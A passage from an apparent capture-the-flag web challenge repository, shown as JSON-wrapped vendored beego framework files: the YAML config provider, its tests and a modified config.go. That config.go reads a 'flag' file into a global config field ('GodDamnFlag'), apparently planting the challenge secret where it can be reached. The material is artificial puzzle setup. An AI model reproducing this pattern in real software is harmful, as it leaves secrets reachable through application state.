[]string:\n\t\t\tvalue = xmlconf.Strings(k)\n\t\tcase string:\n\t\t\tvalue = xmlconf.String(k)\n\t\tdefault:\n\t\t\tvalue, err = xmlconf.DIY(k)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Errorf(\"get key %q value fatal,%v err %s\", k, v, err)\n\t\t} else if fmt.Sprintf(\"%v\", v) != fmt.Sprintf(\"%v\", value) {\n\t\t\tt.Errorf(\"get key %q value, want %v got %v .\", k, v, value)\n\t\t}\n\n\t}\n\n\tif err = xmlconf.Set(\"name\", \"astaxie\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif xmlconf.String(\"name\") != \"astaxie\" {\n\t\tt.Fatal(\"get name error\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/yaml/yaml.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package yaml for config provider\n//\n// depend on github.com/beego/goyaml2\n//\n// go install github.com/beego/goyaml2\n//\n// Usage:\n//  import(\n//   _ \"github.com/astaxie/beego/config/yaml\"\n//     \"github.com/astaxie/beego/config\"\n//  )\n//\n//  cnf, err := config.NewConfig(\"yaml\", \"config.yaml\")\n//\n//More docs http://beego.me/docs/module/config.md\npackage yaml\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/config\"\n\t\"github.com/beego/goyaml2\"\n)\n\n// Config is a yaml config parser and implements Config interface.\ntype Config struct{}\n\n// Parse returns a ConfigContainer with parsed yaml config map.\nfunc (yaml *Config) Parse(filename string) (y config.Configer, err error) {\n\tcnf, err := ReadYmlReader(filename)\n\tif err != nil {\n\t\treturn\n\t}\n\ty = &ConfigContainer{\n\t\tdata: cnf,\n\t}\n\treturn\n}\n\n// ParseData parse yaml data\nfunc (yaml *Config) ParseData(data []byte) (config.Configer, error) {\n\tcnf, err := parseYML(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &ConfigContainer{\n\t\tdata: cnf,\n\t}, nil\n}\n\n// ReadYmlReader Read yaml file to map.\n// if json like, use json package, unless goyaml2 package.\nfunc ReadYmlReader(path string) (cnf map[string]interface{}, err error) {\n\tbuf, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn parseYML(buf)\n}\n\n// parseYML parse yaml formatted []byte to map.\nfunc parseYML(buf []byte) (cnf map[string]interface{}, err error) {\n\tif len(buf) < 3 {\n\t\treturn\n\t}\n\n\tif string(buf[0:1]) == \"{\" {\n\t\tlog.Println(\"Look like a Json, try json umarshal\")\n\t\terr = json.Unmarshal(buf, &cnf)\n\t\tif err == nil {\n\t\t\tlog.Println(\"It is Json Map\")\n\t\t\treturn\n\t\t}\n\t}\n\n\tdata, err := goyaml2.Read(bytes.NewBuffer(buf))\n\tif err != nil {\n\t\tlog.Println(\"Goyaml2 ERR>\", string(buf), err)\n\t\treturn\n\t}\n\n\tif data == nil {\n\t\tlog.Println(\"Goyaml2 output nil? Pls report bug\\n\" + string(buf))\n\t\treturn\n\t}\n\tcnf, ok := data.(map[string]interface{})\n\tif !ok {\n\t\tlog.Println(\"Not a Map? >> \", string(buf), data)\n\t\tcnf = nil\n\t}\n\tcnf = config.ExpandValueEnvForMap(cnf)\n\treturn\n}\n\n// ConfigContainer A Config represents the yaml configuration.\ntype ConfigContainer struct {\n\tdata map[string]interface{}\n\tsync.Mutex\n}\n\n// Bool returns the boolean value for a given key.\nfunc (c *ConfigContainer) Bool(key string) (bool, error) {\n\tv, err := c.getData(key)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn config.ParseBool(v)\n}\n\n// DefaultBool return the bool value if has no error\n// otherwise return the defaultval\nfunc (c *ConfigContainer) DefaultBool(key string, defaultval bool) bool {\n\tv, err := c.Bool(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int returns the integer value for a given key.\nfunc (c *ConfigContainer) Int(key string) (int, error) {\n\tif v, err := c.getData(key); err != nil {\n\t\treturn 0, err\n\t} else if vv, ok := v.(int); ok {\n\t\treturn vv, nil\n\t} else if vv, ok := v.(int64); ok {\n\t\treturn int(vv), nil\n\t}\n\treturn 0, errors.New(\"not int value\")\n}\n\n// DefaultInt returns the integer value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultInt(key string, defaultval int) int {\n\tv, err := c.Int(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int64 returns the int64 value for a given key.\nfunc (c *ConfigContainer) Int64(key string) (int64, error) {\n\tif v, err := c.getData(key); err != nil {\n\t\treturn 0, err\n\t} else if vv, ok := v.(int64); ok {\n\t\treturn vv, nil\n\t}\n\treturn 0, errors.New(\"not bool value\")\n}\n\n// DefaultInt64 returns the int64 value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultInt64(key string, defaultval int64) int64 {\n\tv, err := c.Int64(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Float returns the float value for a given key.\nfunc (c *ConfigContainer) Float(key string) (float64, error) {\n\tif v, err := c.getData(key); err != nil {\n\t\treturn 0.0, err\n\t} else if vv, ok := v.(float64); ok {\n\t\treturn vv, nil\n\t} else if vv, ok := v.(int); ok {\n\t\treturn float64(vv), nil\n\t} else if vv, ok := v.(int64); ok {\n\t\treturn float64(vv), nil\n\t}\n\treturn 0.0, errors.New(\"not float64 value\")\n}\n\n// DefaultFloat returns the float64 value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultFloat(key string, defaultval float64) float64 {\n\tv, err := c.Float(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// String returns the string value for a given key.\nfunc (c *ConfigContainer) String(key string) string {\n\tif v, err := c.getData(key); err == nil {\n\t\tif vv, ok := v.(string); ok {\n\t\t\treturn vv\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// DefaultString returns the string value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultString(key string, defaultval string) string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Strings returns the []string value for a given key.\nfunc (c *ConfigContainer) Strings(key string) []string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn nil\n\t}\n\treturn strings.Split(v, \";\")\n}\n\n// DefaultStrings returns the []string value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultStrings(key string, defaultval []string) []string {\n\tv := c.Strings(key)\n\tif v == nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// GetSection returns map for the given section\nfunc (c *ConfigContainer) GetSection(section string) (map[string]string, error) {\n\n\tif v, ok := c.data[section]; ok {\n\t\treturn v.(map[string]string), nil\n\t}\n\treturn nil, errors.New(\"not exist section\")\n}\n\n// SaveConfigFile save the config into file\nfunc (c *ConfigContainer) SaveConfigFile(filename string) (err error) {\n\t// Write configuration file by filename.\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\terr = goyaml2.Write(f, c.data)\n\treturn err\n}\n\n// Set writes a new value for key.\nfunc (c *ConfigContainer) Set(key, val string) error {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.data[key] = val\n\treturn nil\n}\n\n// DIY returns the raw value by a given key.\nfunc (c *ConfigContainer) DIY(key string) (v interface{}, err error) {\n\treturn c.getData(key)\n}\n\nfunc (c *ConfigContainer) getData(key string) (interface{}, error) {\n\n\tif len(key) == 0 {\n\t\treturn nil, errors.New(\"key is empty\")\n\t}\n\n\tif v, ok := c.data[key]; ok {\n\t\treturn v, nil\n\t}\n\treturn nil, fmt.Errorf(\"not exist key %q\", key)\n}\n\nfunc init() {\n\tconfig.Register(\"yaml\", &Config{})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/yaml/yaml_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage yaml\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/config\"\n)\n\nfunc TestYaml(t *testing.T) {\n\n\tvar (\n\t\tyamlcontext = `\n\"appname\": beeapi\n\"httpport\": 8080\n\"mysqlport\": 3600\n\"PI\": 3.1415976\n\"runmode\": dev\n\"autorender\": false\n\"copyrequestbody\": true\n\"PATH\": GOPATH\n\"path1\": ${GOPATH}\n\"path2\": ${GOPATH||/home/go}\n\"empty\": \"\" \n`\n\n\t\tkeyValue = map[string]interface{}{\n\t\t\t\"appname\":         \"beeapi\",\n\t\t\t\"httpport\":        8080,\n\t\t\t\"mysqlport\":       int64(3600),\n\t\t\t\"PI\":              3.1415976,\n\t\t\t\"runmode\":         \"dev\",\n\t\t\t\"autorender\":      false,\n\t\t\t\"copyrequestbody\": true,\n\t\t\t\"PATH\":            \"GOPATH\",\n\t\t\t\"path1\":           os.Getenv(\"GOPATH\"),\n\t\t\t\"path2\":           os.Getenv(\"GOPATH\"),\n\t\t\t\"error\":           \"\",\n\t\t\t\"emptystrings\":    []string{},\n\t\t}\n\t)\n\tf, err := os.Create(\"testyaml.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = f.WriteString(yamlcontext)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatal(err)\n\t}\n\tf.Close()\n\tdefer os.Remove(\"testyaml.conf\")\n\tyamlconf, err := config.NewConfig(\"yaml\", \"testyaml.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif yamlconf.String(\"appname\") != \"beeapi\" {\n\t\tt.Fatal(\"appname not equal to beeapi\")\n\t}\n\n\tfor k, v := range keyValue {\n\n\t\tvar (\n\t\t\tvalue interface{}\n\t\t\terr   error\n\t\t)\n\n\t\tswitch v.(type) {\n\t\tcase int:\n\t\t\tvalue, err = yamlconf.Int(k)\n\t\tcase int64:\n\t\t\tvalue, err = yamlconf.Int64(k)\n\t\tcase float64:\n\t\t\tvalue, err = yamlconf.Float(k)\n\t\tcase bool:\n\t\t\tvalue, err = yamlconf.Bool(k)\n\t\tcase []string:\n\t\t\tvalue = yamlconf.Strings(k)\n\t\tcase string:\n\t\t\tvalue = yamlconf.String(k)\n\t\tdefault:\n\t\t\tvalue, err = yamlconf.DIY(k)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Errorf(\"get key %q value fatal,%v err %s\", k, v, err)\n\t\t} else if fmt.Sprintf(\"%v\", v) != fmt.Sprintf(\"%v\", value) {\n\t\t\tt.Errorf(\"get key %q value, want %v got %v .\", k, v, value)\n\t\t}\n\n\t}\n\n\tif err = yamlconf.Set(\"name\", \"astaxie\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif yamlconf.String(\"name\") != \"astaxie\" {\n\t\tt.Fatal(\"get name error\")\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/config\"\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/session\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\n// Config is the main struct for BConfig\ntype Config struct {\n\tAppName             string //Application name\n\tRunMode             string //Running Mode: dev | prod\n\tRouterCaseSensitive bool\n\tServerName          string\n\tRecoverPanic        bool\n\tRecoverFunc         func(*context.Context)\n\tCopyRequestBody     bool\n\tEnableGzip          bool\n\tMaxMemory           int64\n\tEnableErrorsShow    bool\n\tEnableErrorsRender  bool\n\tListen              Listen\n\tWebConfig           WebConfig\n\tLog                 LogConfig\n\tGodDamnFlag         string\n}\n\n// Listen holds for http and https related config\ntype Listen struct {\n\tGraceful          bool // Graceful means use graceful module to start the server\n\tServerTimeOut     int64\n\tListenTCP4        bool\n\tEnableHTTP        bool\n\tHTTPAddr          string\n\tHTTPPort          int\n\tEnableHTTPS       bool\n\tEnableMutualHTTPS bool\n\tHTTPSAddr         string\n\tHTTPSPort         int\n\tHTTPSCertFile     string\n\tHTTPSKeyFile      string\n\tTrustCaFile       string\n\tEnableAdmin       bool\n\tAdminAddr         string\n\tAdminPort         int\n\tEnableFcgi        bool\n\tEnableStdIo       bool // EnableStdIo works with EnableFcgi Use FCGI via standard I/O\n}\n\n// WebConfig holds web related config\ntype WebConfig struct {\n\tAutoRender             bool\n\tEnableDocs             bool\n\tFlashName              string\n\tFlashSeparator         string\n\tDirectoryIndex         bool\n\tStaticDir              map[string]string\n\tStaticExtensionsToGzip []string\n\tTemplateLeft           string\n\tTemplateRight          string\n\tViewsPath              string\n\tEnableXSRF             bool\n\tXSRFKey                string\n\tXSRFExpire             int\n\tSession                SessionConfig\n}\n\n// SessionConfig holds session related config\ntype SessionConfig struct {\n\tSessionOn                    bool\n\tSessionProvider              string\n\tSessionName                  string\n\tSessionGCMaxLifetime         int64\n\tSessionProviderConfig        string\n\tSessionCookieLifeTime        int\n\tSessionAutoSetCookie         bool\n\tSessionDomain                string\n\tSessionDisableHTTPOnly       bool // used to allow for cross domain cookies/javascript cookies.\n\tSessionEnableSidInHTTPHeader bool //\tenable store/get the sessionId into/from http headers\n\tSessionNameInHTTPHeader      string\n\tSessionEnableSidInURLQuery   bool //\tenable get the sessionId from Url Query params\n}\n\n// LogConfig holds Log related config\ntype LogConfig struct {\n\tAccessLogs       bool\n\tAccessLogsFormat string //access log format: JSON_FORMAT, APACHE_FORMAT or empty string\n\tFileLineNum      bool\n\tOutputs          map[string]string // Store Adaptor : config\n}\n\nvar (\n\t// BConfig is the default config for Application\n\tBConfig *Config\n\t// AppConfig is the instance of Config, store the config information from file\n\tAppConfig *beegoAppConfig\n\t// AppPath is the absolute path to the app\n\tAppPath string\n\t// GlobalSessions is the instance for the session manager\n\tGlobalSessions *session.Manager\n\n\t// appConfigPath is the path to the config files\n\tappConfigPath string\n\t// appConfigProvider is the provider for the config, default is ini\n\tappConfigProvider = \"ini\"\n)\n\nfunc init() {\n\tBConfig = newBConfig()\n\tvar err error\n\tif AppPath, err = filepath.Abs(filepath.Dir(os.Args[0])); err != nil {\n\t\tpanic(err)\n\t}\n\tworkPath, err := os.Getwd()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tvar filename = \"app.conf\"\n\tif os.Getenv(\"BEEGO_MODE\") != \"\" {\n\t\tfilename = os.Getenv(\"BEEGO_MODE\") + \".app.conf\"\n\t}\n\tappConfigPath = filepath.Join(workPath, \"conf\", filename)\n\tif !utils.FileExists(appConfigPath) {\n\t\tappConfigPath = filepath.Join(AppPath, \"conf\", filename)\n\t\tif !utils.FileExists(appConfigPath) {\n\t\t\tAppConfig = &beegoAppConfig{innerConfig: config.NewFakeConfig()}\n\t\t\treturn\n\t\t}\n\t}\n\tif err = parseConfig(appConfigPath); err != nil {\n\t\tpanic(err)\n\t}\n\tffile, err := os.Open(filepath.Join(workPath, \"flag\"))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfdata := make([]byte, 100)\n\tn, err := ffile.Read(fdata)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tBConfig.GodDamnFlag = string(fdata[:n])\n}\n\nfunc recoverPanic(ctx *context.Context) {\n\tif err := recover(); err != nil {\n\t\tif err == ErrAbort {\n\t\t\treturn\n\t\t}\n\t\tif !BConfig.RecoverPanic {\n\t\t\tpanic(err)\n\t\t}\n\t\tif BConfig.EnableErrorsShow {\n\t\t\tif _, ok := ErrorMaps[fmt.Sprint(err)]; ok {\n\t\t\t\texception(fmt.Sprint(err), ctx)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tvar stack string\n\t\tlogs.Critical(\"the request url is \", ctx.Input.URL())\n\t\tlogs.Critical(\"Handler crashed with error\", err)\n\t\tfor i := 1; ; i++ {\n\t\t\t_, file, line, ok := runtime.Caller(i)\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tlogs.Critical(fmt.Sprintf(\"%s:%d\", file, line))\n\t\t\tstack = stack + fmt.Sprintln(fmt.Sprintf(\"%s:%d\", file, line))\n\t\t}\n\t\tif BConfig.RunMode == DEV && BConfig.EnableErrorsRender {\n\t\t\tshowErr(err, ctx, stack)\n\t\t}\n\t}\n}\n\nfunc newBConfig() *Config {\n\treturn &Config{\n\t\tAppName:             \"beego\",\n\t\tRunMode:             DEV,\n\t\tRouterCaseSensitive: true,\n\t\tServerName:          \"beegoServer:\" + VERSION,\n\t\tRecoverPanic:        true,\n\t\tRecoverFunc:         recoverPanic,\n\t\tCopyRequestBody:     false,\n\t\tEnableGzip:          false,\n\t\tMaxMemory:           1 << 26, //64MB\n\t\tEnableErrorsShow:    true,\n\t\tEnableErrorsRender:  true,\n\t\tGodDamnFlag:         \"\",\n\t\tListen: Listen{\n\t\t\tGraceful:      false,\n\t\t\tServerTimeOut: 0,\n\t\t\tListenTCP4:    false,\n\t\t\tEnableHTTP:    true,\n\t\t\tHTTPAddr:      \"\",\n\t\t\tHTTPPort:      8080,\n\t\t\tEnableHTTPS:   false,\n\t\t\tHTTPSAddr:     \"\",\n\t\t\tHTTPSPort:     10443,\n\t\t\tHTTPSCertFile: \"\",\n\t\t\tHTTPSKeyFile:  \"\",\n\t\t\tEnableAdmin:   true,\n\t\t\tAdminAddr:     \"\",\n\t\t\tAdminPort:     8088,\n\t\t\tEnableFcgi:    false,\n\t\t\tEnableStdIo:   false,\n\t\t},\n\t\tWebConfig: WebConfig{\n\t\t\tAutoRender:             true,\n\t\t\tEnableDocs:             false,\n\t\t\tFlashName:              \"BEEGO_FLASH\",\n\t\t\tFlashSeparator:         \"BEEGOFLASH\",\n\t\t\tDirectoryIndex:         false,\n\t\t\tStaticDir:              map[string]string{\"/static\": \"static\"},\n\t\t\tStaticExtensionsToGzip: []string{\".css\", \".js\"},\n\t\t\tTemplateLeft:           \"{{\",\n\t\t\tTemplateRight:          \"}}\",\n\t\t\tViewsPath:              \"views\",\n\t\t\tEnableXSRF:             false,\n\t\t\tXSRFKey:                \"beegoxsrf\",\n\t\t\tXSRFExpire:             0,\n\t\t\tSession: SessionConfig{\n\t\t\t\tSessionOn:                    false,\n\t\t\t\tSessionProvider:              \"memory\",\n\t\t\t\tSessionName:                  \"beegosessionID\",\n\t\t\t\tSessionGCMaxLifetime:         3600,\n\t\t\t\tSessionProviderConfig:        \"\",\n\t\t\t\tSessionDisableHTTPOnly:       false,\n\t\t\t\tSessionCookieLifeTime:        0, //set cookie default is the browser life\n\t\t\t\tSessionAutoSetCookie:         true,\n\t\t\t\tSessionDomain:                \"\",\n\t\t\t\tSessionEnableSidInHTTPHeader: false, //\tenable store/get the sessionId into/from http headers\n\t\t\t\tSessionNameInHTTPHeader:      \"Beegosessionid\",\n\t\t\t\tSessionEnableSidInURLQuery:   false, //\tenable get the sessionId from Url Query params\n\t\t\t},\n\t\t},\n\t\tLog: LogConfig{\n\t\t\tAccessLogs:       false,\n\t\t\tAccessLogsFormat: \"APACHE_FORMAT\",\n\t\t\tFileLineNum:      true,\n\t\t\tOutputs:          map[string]string{\"console\": \"\"},\n\t\t},\n\t}\n}\n\n// now only support ini, next will support json.\nfunc parseConfig(appConfigPath string) (err error) {\n\tAppConfig, err = newAppConfig(appConfigProvider, appConfigPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn assignConfig(AppConfig)\n}\n\nfunc assignConfig(ac config.Configer) error {\n\tfor _, i := range []interface{}{BConfig, &BConfig.Listen, &BConfig.WebConfig, &BConfig.Log, &BConfig.WebConfig.Session} {\n\t\tassignSingleConfig(i, ac)\n\t}\n\t// set the run mode first\n\tif envRunMode := os.Getenv(\"BEEGO_RUNMODE\"); envRunMode != \"\" {\n\t\tBConfig.RunMode = envRunMode\n\t} else if runMode := ac.String(\"RunMode\"); runMode != \"\" {\n\t\tBConfig.RunMode = runMode\n\t}\n\n\tif sd := ac.String(\"StaticDir\"); sd != \"\" {\n\t\tBConfig.WebConfig.StaticDir = map[string]string{}\n\t\tsds := strings.Fields(sd)\n\t\tfor _, v := range sds {\n\t\t\tif url2fsmap := strings.SplitN(v, \":\", 2); len(url2fsmap) == 2 {\n\t\t\t\tBConfig.WebConfig.StaticDir[\"/\"+strings.Trim(url2fsmap[0], \"/\")] = url2fsmap[1]\n\t\t\t} else {\n\t\t\t\tBConfig.WebConfig.StaticDir[\"/\"+strings.Trim(url2fsmap[0], \"/\")] = url2fsmap[0]\n\t\t\t}\n\t\t}\n\t}\n\n\tif sgz := ac.String(\"StaticExtensionsToGzip\"); sgz != \"\" {\n\t\textensions := strings.Split(sgz, \",\")\n\t\tfileExts := []string{}\n\t\tfor _, ext := range extensions {\n\t\t\text = strings.TrimSpace(ext)\n\t\t\tif ext == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif !strings.HasPrefix(ext, \".\") {\n\t\t\t\text = \".\" + ext\n\t\t\t}\n\t\t\tfileExts = append(fileExts, ext)\n\t\t}\n\t\tif len(fileExts) > 0 {\n\t\t\tBConfig.WebConfig.StaticExtensionsToGzip = fileExts\n\t\t}\n\t}\n\n\tif lo := ac.String(\"LogOutputs\"); lo != \"\" {\n\t\t// if lo is not nil or empty\n\t\t// means user has set his own LogOutputs\n\t\t// clear the default setting to BConfig.Log.Outputs\n\t\tBConfig.Log.Outputs = make(map[string]string)\n\t\tlos := strings.Split(lo, \";\")\n\t\tfor _, v := range los {\n\t\t\tif logType2Config := strings.SplitN(v, \",\", 2); len(logType2Config) == 2 {\n\t\t\t\tBConfig.Log.Outputs[logType2Config[0]] = logType2Config[1]\n\t\t\t} else {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\n\t//init log\n\tlogs.Reset()\n\tfor adaptor, config := range BConfig.Log.Outputs {\n\t\terr := logs.SetLogger(adaptor, config)\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, fmt.Sprintf(\"%s with the config %q got err:%s\", adaptor, config, err.Error()))\n\t\t}\n\t}\n\tlogs.SetLogFuncCall(BConfig.Log.FileLineNum)\n\n\treturn nil\n}\n\nfunc assignSingleConfig(p interface{}, ac config.Configer) {\n\tpt := reflect.TypeOf(p)\n\tif pt.Kind() != reflect.Ptr {\n\t\treturn\n\t}\n\tpt = pt.Elem()\n\tif pt.Kind() != reflect.Struct {\n\t\treturn\n\t}\n\tpv := reflect.ValueOf(p).Elem()\n\n\tfor i := 0; i < pt.NumField(); i++ {\n\t\tpf := pv.Field(i)\n\t\tif !pf.CanSet() {\n\t\t\tcontinue\n\t\t}\n\t\tname := pt.Field(i).Name\n\t\tswitch pf.Kind() {\n\t\tcase reflect.String:\n\t\t\tpf.SetString(ac.DefaultString(name, pf.String()))\n\t\tcase reflect.Int, reflect.Int64:\n\t\t\tpf.SetInt(ac.DefaultInt64(name, pf.Int()))\n\t\tcase reflect.Bool:\n\t\t\tpf.SetBool(ac.DefaultBool(name, pf.Bool()))\n\t\tcase reflect.Struct:\n\t\tdefault:\n\t\t\t//do nothing here\n\t\t}\n\t}\n\n}\n\n// LoadAppConfig allow developer to apply a config file\nfunc LoadAppConfig(adapterName, configPath string) error {\n\tabsConfigPath, err := filepath.Abs(configPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !utils.FileExists(absConfigPath) {\n\t\treturn fmt.Errorf(\"the target config file: %s don't exist\", configPath)\n\t}\n\n\tappConfigPath = absConfigPath\n\tappConfigProvider = adapterName\n\n\treturn parseConfig(appConfigPath)\n}\n\ntype beegoAppConfig struct {\n\tinnerConfig config.Configer\n}\n\nfunc newAppConfig(appConfigProvider, appConfigPath string) (*beegoAppConfig, error) {\n\tac, err := config.NewConfig(appConfigProvider, appConfigPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &beegoAppConfig{ac}, nil\n}\n\nfunc (b *beegoAppConfig) Set(key, val string) error {\n\tif err := b.innerConfig.Set(BConfig.RunMode+\"::\"+key, val); err != nil {\n\t\treturn err\n\t}\n\treturn b.innerConfig.Set(key, val)\n}\n\nfunc (b *beegoAppConfig) String(key string) string {\n\tif v := b.innerConfig.String(BConfig.RunMode + \"::\" + key); v != \"\" {\n\t\treturn v\n\t}\n\treturn b.innerConfig.String(key)\n}\n\nfunc (b *beegoAppConfig) Strings(key string) []string {\n\tif v := b.innerConfig.Strings(BConfig.RunMode + \"::\" + key); len(v) > 0 {\n\t\treturn v\n\t}\n\treturn b.innerConfig.Strings(key)\n}\n\nfunc (b *beegoAppConfig) Int(key string) (int, error) {\n\tif v, err := b.innerConfig.Int(BConfig.RunMode + \"::\" + key); err == nil {\n\t\treturn v, nil\n\t}\n\treturn b.innerConfig.Int(key)\n}\n\nfunc (b *beegoAppConfig) Int64(key string) (int64, error) {\n\tif v, err := b.innerConfig.Int64(BConfig.RunMode + \"::\" + key); err == nil {\n\t\treturn v, nil\n\t}\n\treturn b.innerConfig.Int64(key)\n}\n\nfunc (b *beegoAppConfig) Bool(key string) (bool, error) {\n\tif v, err := b.innerConfig.Bool(BConfig.RunMode + \"::\" + key); err == nil {\n\t\treturn v, nil\n\t}\n\treturn b.innerConfig.Bool(key)\n}\n\nfunc (b *beegoAppConfig) Float(key string) (float64, error) {\n\tif v, err := b.innerConfig.Float(BConfig.RunMode + \"::\" + key); err == nil {\n\t\treturn v, nil\n\t}\n\treturn b.innerConfig.Float(key)\n}\n\nfunc (b *beegoAppConfig) DefaultString(key string, defaultVal string) string {\n\tif v := b.String(key); v != \"\" {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DefaultStrings(key string, defaultVal []string) []string {\n\tif v := b.Strings(key); len(v) != 0 {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DefaultInt(key string, defaultVal int) int {\n\tif v, err := b.Int(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DefaultInt64(key string, defaultVal int64) int64 {\n\tif v, err := b.Int64(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DefaultBool(key string, defaultVal bool) bool {\n\tif v, err := b.Bool(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DefaultFloat(key string, defaultVal float64) float64 {\n\tif v, err := b.Float(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultVal\n}\n\nfunc (b *beegoAppConfig) DIY(key string) (interface{}, error) {\n\treturn b.innerConfig.DIY(key)\n}\n\nfunc (b *beegoAppConfig) GetSection(section string) (map[string]string, error) {\n\treturn b.innerConfig.GetSection(section)\n}\n\nfunc (b *beegoAppConfig) SaveConfigFile(filename string) error {\n\treturn b.innerConfig.SaveConfigFile(filename)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"encoding/json\"\n\t\"reflect\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/config\"\n)\n\nfunc TestDefaults(t *testing.T) {\n\tif BConfig.WebConfig.FlashName != \"BEEGO_FLASH\" {\n\t\tt.Errorf(\"FlashName was not set to default.\")\n\t}\n\n\tif BConfig.WebConfig.FlashSeparator != \"BEEGOFLASH\" {\n\t\tt.Errorf(\"FlashName was not set to default.\")\n\t}\n}\n\nfunc TestAssignConfig_01(t *testing.T) {\n\t_BConfig := &Config{}\n\t_BConfig.AppName = \"beego_test\"\n\tjcf := 